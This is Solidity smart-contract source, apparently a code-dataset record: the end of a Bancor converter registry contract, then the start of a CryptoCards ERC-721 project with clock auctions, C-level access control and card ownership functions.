return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getSmartTokens();
}
/**
* @dev returns the smart token at a given index
*
* @param _index index
* @return smart token at the given index
*/
function getSmartToken(uint _index) external view returns (address) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getSmartToken(_index);
}
/**
* @dev checks whether or not a given value is a smart token
*
* @param _value value
* @return true if the given value is a smart token, false if not
*/
function isSmartToken(address _value) external view returns (bool) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).isSmartToken(_value);
}
/**
* @dev returns the number of liquidity pools in the registry
*
* @return number of liquidity pools
*/
function getLiquidityPoolCount() external view returns (uint) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getLiquidityPoolCount();
}
/**
* @dev returns the list of liquidity pools in the registry
*
* @return list of liquidity pools
*/
function getLiquidityPools() external view returns (address[]) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getLiquidityPools();
}
/**
* @dev returns the liquidity pool at a given index
*
* @param _index index
* @return liquidity pool at the given index
*/
function getLiquidityPool(uint _index) external view returns (address) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getLiquidityPool(_index);
}
/**
* @dev checks whether or not a given value is a liquidity pool
*
* @param _value value
* @return true if the given value is a liquidity pool, false if not
*/
function isLiquidityPool(address _value) external view returns (bool) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).isLiquidityPool(_value);
}
/**
* @dev returns the number of convertible tokens in the registry
*
* @return number of convertible tokens
*/
function getConvertibleTokenCount() external view returns (uint) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleTokenCount();
}
/**
* @dev returns the list of convertible tokens in the registry
*
* @return list of convertible tokens
*/
function getConvertibleTokens() external view returns (address[]) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleTokens();
}
/**
* @dev returns the convertible token at a given index
*
* @param _index index
* @return convertible token at the given index
*/
function getConvertibleToken(uint _index) external view returns (address) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleToken(_index);
}
/**
* @dev checks whether or not a given value is a convertible token
*
* @param _value value
* @return true if the given value is a convertible token, false if not
*/
function isConvertibleToken(address _value) external view returns (bool) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).isConvertibleToken(_value);
}
/**
* @dev returns the number of smart tokens associated with a given convertible token
*
* @param _convertibleToken convertible token
* @return number of smart tokens associated with the given convertible token
*/
function getConvertibleTokenSmartTokenCount(address _convertibleToken) external view returns (uint) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleTokenSmartTokenCount(_convertibleToken);
}
/**
* @dev returns the list of smart tokens associated with a given convertible token
*
* @param _convertibleToken convertible token
* @return list of smart tokens associated with the given convertible token
*/
function getConvertibleTokenSmartTokens(address _convertibleToken) external view returns (address[]) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleTokenSmartTokens(_convertibleToken);
}
/**
* @dev returns the smart token associated with a given convertible token at a given index
*
* @param _index index
* @return smart token associated with the given convertible token at the given index
*/
function getConvertibleTokenSmartToken(address _convertibleToken, uint _index) external view returns (address) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleTokenSmartToken(_convertibleToken, _index);
}
/**
* @dev checks whether or not a given value is a smart token of a given convertible token
*
* @param _convertibleToken convertible token
* @param _value value
* @return true if the given value is a smart token of the given convertible token, false if not
*/
function isConvertibleTokenSmartToken(address _convertibleToken, address _value) external view returns (bool) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).isConvertibleTokenSmartToken(_convertibleToken, _value);
}
/**
* @dev checks whether or not a given converter is valid
*
* @param _converter converter
* @return true if the given converter is valid, false if not
*/
function isConverterValid(IBancorConverter _converter) public view returns (bool) {
ISmartToken token = ISmartTokenController(_converter).token();
// verifies the the smart token has a supply and that the converter is active
if (token.totalSupply() == 0 || token.owner() != address(_converter))
return false;
// verifies that the converter holds balance in each of its reserves
uint reserveTokenCount = _converter.connectorTokenCount();
for (uint i = 0; i < reserveTokenCount; i++) {
IERC20Token reserveToken = _converter.connectorTokens(i);
if (reserveToken.balanceOf(_converter) == 0)
return false;
}
return true;
}
/**
* @dev adds a smart token to the registry
*
* @param _smartToken smart token
*/
function addSmartToken(IBancorConverterRegistryData _converterRegistryData, address _smartToken) internal {
_converterRegistryData.addSmartToken(_smartToken);
emit SmartTokenAdded(_smartToken);
}
/**
* @dev removes a smart token from the registry
*
* @param _smartToken smart token
*/
function removeSmartToken(IBancorConverterRegistryData _converterRegistryData, address _smartToken) internal {
_converterRegistryData.removeSmartToken(_smartToken);
emit SmartTokenRemoved(_smartToken);
}
/**
* @dev adds a liquidity pool to the registry
*
* @param _liquidityPool liquidity pool
*/
function addLiquidityPool(IBancorConverterRegistryData _converterRegistryData, address _liquidityPool) internal {
_converterRegistryData.addLiquidityPool(_liquidityPool);
emit LiquidityPoolAdded(_liquidityPool);
}
/**
* @dev removes a liquidity pool from the registry
*
* @param _liquidityPool liquidity pool
*/
function removeLiquidityPool(IBancorConverterRegistryData _converterRegistryData, address _liquidityPool) internal {
_converterRegistryData.removeLiquidityPool(_liquidityPool);
emit LiquidityPoolRemoved(_liquidityPool);
}
/**
* @dev adds a convertible token to the registry
*
* @param _convertibleToken convertible token
* @param _smartToken associated smart token
*/
function addConvertibleToken(IBancorConverterRegistryData _converterRegistryData, address _convertibleToken, address _smartToken) internal {
_converterRegistryData.addConvertibleToken(_convertibleToken, _smartToken);
emit ConvertibleTokenAdded(_convertibleToken, _smartToken);
}
/**
* @dev removes a convertible token from the registry
*
* @param _convertibleToken convertible token
* @param _smartToken associated smart token
*/
function removeConvertibleToken(IBancorConverterRegistryData _converterRegistryData, address _convertibleToken, address _smartToken) internal {
_converterRegistryData.removeConvertibleToken(_convertibleToken, _smartToken);
emit ConvertibleTokenRemoved(_convertibleToken, _smartToken);
}
}
|
* @dev returns the convertible token at a given index @param _index index @return convertible token at the given index/
|
function getConvertibleToken(uint _index) external view returns (address) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getConvertibleToken(_index);
}
| 7,309,796
|
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pragma solidity ^0.4.18;
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
// @dev The Ownable constructor sets the original 'onwer' of the contract to the sender
// account
function Ownable() public {
owner = msg.sender;
}
// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// @dev Allows the current owner to transfer control of the contract to a newOwner.
// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
// @dev modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
// @dev modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
// @dev called by the owner to puase. Triggers stopped state
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
// @dev called by the owner to unpause, returns to normal state
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ClockAuctionBase {
// Represents an auction on an NFT
struct Auction {
// Current owner of NFT
address seller;
// Price (in wei) at beginning of auction
uint128 startingPrice;
// Price (in wei) at end of auction
uint128 endingPrice;
// Duration (in seconds) of auction
uint64 duration;
// Time when auction started
// NOTE: 0 if this auction has been concluded
uint64 startedAt;
}
// Reference to contract tracking NFT ownership
ERC721 public nonFungibleContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut;
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
// @dev Returns true if the claimant owns the token.
// @param _claimant - Address caliming to own the token.
// @param _tokenId - ID of token whose ownership needs to be verified
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return(nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
// @dev Escrows the NFT, assigning ownership to this contract.
// Throws if the escrow fails.
// @param _owner - Current owner address of token to escrow.
// @param _tokenId - ID of token whose approval to verify
function _escrow(address _owner, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
// @dev Transfers an NFT owned by this contract to another address.
// Returns true if the transfer succeeds
// @param _receiver - Address to transfer NFT to.
// @param _tokenId - ID of token to transfer.
function _transfer(address _receiver, uint256 _tokenId) internal {
// it will throw if transfer fails
nonFungibleContract.transfer(_receiver, _tokenId);
}
// @dev Adds an auction to the list of open auctions. Also fires the
// AuctionCreated event
// @param _tokenId - The ID of the token to be put on the auctioin.
// @param _auction - Auction to add.
function _addAuction(uint256 _tokenId, Auction _auction) internal {
// Require that all auctions have a duration of
// at least one minute. (Keeps our math from getting hairy!)
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
// @dev Cancels an auction unconditionally.
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
// @dev Computes the price and transfers winnings.
// Does NOT transfer ownership of token
function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) {
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
// Explicitly check that this auction is currently live.
// (because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
// Grab a reference to the seller before the auction struct
// gets deleted
address seller = auction.seller;
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard aggainst reentrancy attacks by removing the auction
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelAuction().)
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow
uint256 bidExcess = _bidAmount - price;
if (bidExcess > 0) {
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
msg.sender.transfer(bidExcess);
}
// Tell the world!
AuctionSuccessful(_tokenId,price, msg.sender);
return price;
}
// @dev Removes an auction from the list of open auctions.
// @param _tokenId - ID of NFT on auction.
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
// @dev Returns true if the NFT is on auction.
// @param _auction - Auction to check.
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
// @dev Returns current price of an NFT on auction. Broken into two
// functions (this one, that computes the duration from the auction
// structure, and the other that does the price computation) so we
// can easily test that the price computation works correctly.
function _currentPrice(Auction storage _auction) internal view returns (uint256) {
uint256 secondsPassed = 0;
// A bit of insurance against negative values (or wraparound).
// Progably not necessary (since Ethereum guarantees that the
// now variables doesn't ever go backwards).
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
// @dev Computes the current price of an auction. Factored out
// from _currentPrice so we can run extensive unit tests.
// When testing, make this function public and turn on
// 'Current price computation' test suite.
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our public functions carefully cap the maximum values for
// time (at 64-bits) and currency (at 128-bits). _duration is
// also known to be non-zero (see the require() statement in
// _addAuction())
if (_secondsPassed >= _duration) {
// We've reached the end of the dynamic pricing portion
// of the auction, just return the end price.
return _endingPrice;
} else {
// Starting price can be higher than ending price (and often is!), so
// this delta can be negative.
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
// currentPriceChange can be negative, but if so, will have a magnitude
// less than _startingPrice. Thus, this result will always end up positive.
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
// @dev Computes owner's cut of a sale.
// #param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
}
contract ClockAuction is Pausable, ClockAuctionBase {
// @dev The ERC-165 interface signature for ERC721.
// Ref: https://github.com/ethereum/EIPs/issues/165
// Ref: https://github.com/ethereum/EIPs/issues/721
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
// @dev Constructor creates a reference to the NFT ownership contract
// and verifies the owner cut is in the valid range.
// @param _nftAddress - address of a deployed contract implementing
// the Nonfungible Interface
// @param _cut - percent cut the owner takes on each auction, must be
// between 0-10,000.
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
}
// @dev Remove all Ether from the contract, which is the owner's cuts
// as well as any Ether sent directly to the contract address.
// Always transfers to the NFT contract, but can be called either by
// the owner or the NFT contract.
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
nftAddress.transfer(nftAddress.balance);
}
// @dev Creates and begins a new auction.
// @param _tokenId - ID of token to auction, sender must be owner.
// @param _startingPrice - Price of iten (in wei) at beginning of auction.
// @param _endingPrice - Price of item (in wei) at beginning of auction.
// @param _duration - Length of time to move between starting
// price and ending price (in seconds).
// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
// @dev Bids on an open auction, completing the auction and transferring
// ownership of the NFT if enough Ether is supplied
// @param _tokenId - ID of token to bid on
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
// _bid will throw if the bid or funs tranfer fails
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
// @dev Cancels an auction that hasn't been won yet.
// Returns the NFT to original owner.
// @notice This is a state-modifying function that can
// be called while the contract is paused.
// @param _tokenId - ID of token on auction
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
// @dev Cancels an auction when the contract is paused.
// Only the owner may do this, and NFTs are returned to
// the seller. This should only be used in emergencies.
// @param _tokenId - ID of the NFT on auction to cancel.
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
// @dev Returns auction info for an NFT on auction.
// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
// @dev Returns the current price of an auction.
// @param _tokenId - ID of the token price we are checking.
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SaleClockAuction is ClockAuction {
// @dev Sanity check that allows us to ensure that we are pointing to the
// right auction in our setSaleAuctionAddress() call.
bool public isSaleClockAuction = true;
// Tracks last 5 sale price of gen0 cards
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
// Delegate constructor
function SaleClockAuction(address _nftAddr, uint256 _cut) public
ClockAuction(_nftAddr, _cut) {}
// @dev Creates and begins a new auction.
// @param _tokenId - ID of token to auction, sender must be owner.
// @param _startingPrice - Price of item (in wei) at beginning of auction.
// @param _endingPrice - Price of item (in wei) at end of auction.
// @param _duration - Length of auction (in seconds).
// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
// @dev Updates lastSalePrice if seller is the nft contract
// Otherwise, works the same as default bid method.
function bid(uint256 _tokenId)
external
payable
{
// _bid verifies token ID size
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
// If not a gen0 auction, exit
if (seller == address(nonFungibleContract)) {
// Track gen0 sale prices
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
contract AccessControl {
/// @dev The addresses of the accounts (or contracts) that can execute actions within each roles
address public ceoAddress;
address public cooAddress;
/// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// @dev Access modifier for any CLevel functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress || msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Pause the smart contract. Only can be called by the CEO
function pause() public onlyCEO whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Only can be called by the CEO
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract CryptoCardsBase is AccessControl {
/*** EVENTS ***/
// @dev The spawn event is fired whenever a new card is minted
event Spawn(address owner, uint256 tokenId, uint128 skills, bytes32 name);
// @dev Transfer event as defined in current draft of ERC721. Emitted evry time a
// card ownership is assigned, including minting
event Transfer(address from, address to, uint256 tokenId);
/*** DATA TYPES ***/
// @dev The main Card struct. Every card in CryptoCards is represented by a copy
// of this structure.
// WORK IN PROGRESS
struct Card {
// Contains info on skills/traits/rarity fo card
uint128 skills;
// The timestamp from the block when this card came into existence
uint64 spawnTime;
// The minimum timestamp after which this card can engage in
// combining activities again.
uint64 cooldownEndBlock;
// Name of the card
bytes32 name;
// The ID of the parents of this card, set to 0 for gen0 cards.
uint32 firstIngredientId;
uint32 secondIngredientId;
// Set to the ID of one of the ingredient cards, chosen pseudorandomly
// Will indicate this card is combining with other card to spawn new card
// and point to other card. Non zero ID indicates it is 'combining' and is
// unusable in play.
uint32 combiningWithId;
// Set to index in cooldown array (see below) that represents
// the current cooldown duration for this card
uint16 cooldownIndex;
// The 'generation number' of this card. Generation number is the
// the larger of the two 'ingredient's' generation + 1
// (i.e. max(firstIngredientId.generation, secondIndredientId.generation) + 1)
uint16 generation;
}
/*** CONSTANTS ***/
// @dev A lookup table indicating the cooldown duration after any successful
// combination.
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
// @dev An array containing the Card struct for cards in existence. The ID
// of each card is an index into this array.
Card[] cards;
// @dev A mapping from card IDs to the address that owns them. All cards have
// some valid owner address.
mapping (uint256 => address) public cardIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
// @dev A mapping from card IDs to an address that has been approved to call
// transferFrom(). Each card can only have one approved address for transfer
// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public cardIndexToApproved;
// @dev The addrress of a custom ClockAuction that handles sales of Cards. This
// will handle peer-to-peer sales as well as the gen0 sales
SaleClockAuction public saleAuction;
// @dev Assigns ownership of a specific Card to an address
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Increase ownershipTokenCount of address receiving card
ownershipTokenCount[_to]++;
// Transfer ownership.
cardIndexToOwner[_tokenId] = _to;
// Additional accounting. Newly minted cards 'from' address would be zero
// so check for that first
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete cardIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
// @dev An internal method that creates a new card and stores it. This
// method doesn't do any checking and should only be called when the
// input data is known to be valid. Will generate a Spawn event
// and a Transfer event.
// @param _skills contains crucial info about card
// @param _owner The initial owner of this card, must be nonzero
function _createCard(
uint256 _skills,
bytes32 _name,
uint256 _firstIngredientId,
uint256 _secondIngredientId,
uint256 _generation,
address _owner
)
internal
returns(uint256)
{
// These requires make sure _createCard is being passed correctly sized values
require(_firstIngredientId == uint256(uint32(_firstIngredientId)));
require(_secondIngredientId == uint256(uint32(_secondIngredientId)));
require(_generation == uint256(uint16(_generation)));
require(_skills == uint256(uint128(_skills)));
// Sets initial cooldown index to floor(generation/2)
uint16 _cooldownIndex = uint16(_generation / 2);
if (_cooldownIndex > 13) {
_cooldownIndex = 13;
}
Card memory _card = Card({
skills: uint128(_skills),
name: _name,
spawnTime: uint64(now),
cooldownEndBlock: 0,
firstIngredientId: uint32(_firstIngredientId),
secondIngredientId: uint32(_secondIngredientId),
combiningWithId: 0,
cooldownIndex: _cooldownIndex,
generation: uint16(_generation)
});
uint256 newCardId = cards.push(_card) - 1;
// emit the Spawn event
Spawn(_owner, newCardId, _card.skills, _card.name);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newCardId);
return newCardId;
}
}
contract CardOwnership is CryptoCardsBase, ERC721 {
// @notice Name and symbol of the non fungible token, as defined in ERC721
string public constant name = "CryptoCards";
string public constant symbol = "CC";
/*** POTENTIAL METADATA & INTERFACE STUFF ***/
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
// Returns true for any standardized interfaces implemented by this contract. We implement
// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/*** INTERNAL UTILITY FUNCTIONS ***/
// These functions assume that their input arguments are valid.
// Leaving it to public methods to sanitize inputs
// @dev Checks if a given address is the current owner of a particular Card
// @param _claimant the address we are validating against
// @param _tokenId card id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return cardIndexToOwner[_tokenId] == _claimant;
}
// @dev Checks if a given address currently has transferApproval for a pareticular Card.
// @param _claimant the address we are confirming the kitten is approved for.
// @param _tokenId Card ID, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return cardIndexToApproved[_tokenId] == _claimant;
}
// @dev Marks an address as being approved for transferFrom(), overwriting any previous
// approval. Setting _approved to address (0) clears all transfer approval.
// NOTE: _approve() does NOT send the Approval event. This is intentional because
// _approve() and transferFrom() are used together for putting Cards on auction, and
// there is no value in spamming the log with Approval events in that case
function _approve(uint256 _tokenId, address _approved) internal {
cardIndexToApproved[_tokenId] = _approved;
}
// @notice Returns the number of Cards owned by a specific address.
// @param _owner the owner address to check.
// @dev Required for ERC721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
// @notice Transfers a Card to another address. If transferring to a smart
// contract be VERY CAREFUL to ensure that it is are of ERC721 (or
// CryptoCards specifically) or your Card may be lost forever. Fo Rlz.
// @param _to The address of the recipient
// @param _tokenId The ID of the Card to transfer
// @dev Required for ERC721 compliance
function transfer(address _to, uint256 _tokenId) external whenNotPaused {
// Safety check to prevent against an unexpected 0x0 default
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any Cards (except very briefly
// after a gen0 Card is created and before it goes on auction).
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Auction contracts should only take ownership of kitties
// through the allow + transferFrom flow.
require(_to != address(saleAuction));
// You can only send your own Card
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event
_transfer(msg.sender, _to, _tokenId);
}
// @notice Grant another address the right to transfer a specific Card via
// transferFrom(). This is the preferred flow for transferring NFTs to contracts.
// @param _to The address to be granted transfer approval. Pass address(0) to
// clear all approvals.
// @param _tokenId The ID of the Card that can be transferred if this call succeeds.
// @dev Required for ERC721 compliance
function approve(address _to, uint256 _tokenId) external whenNotPaused {
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
// @notice Transfer a Card owned by another address, for which the calling address
// has previously been granted transfer approval by the owner.
// @param _from The address that owns the Card to be transferred.
// @param _to The address that should take ownershuip of the Card. Can be any address,
// including the caller.
// @param _tokenId The ID of the Card to be transferred.
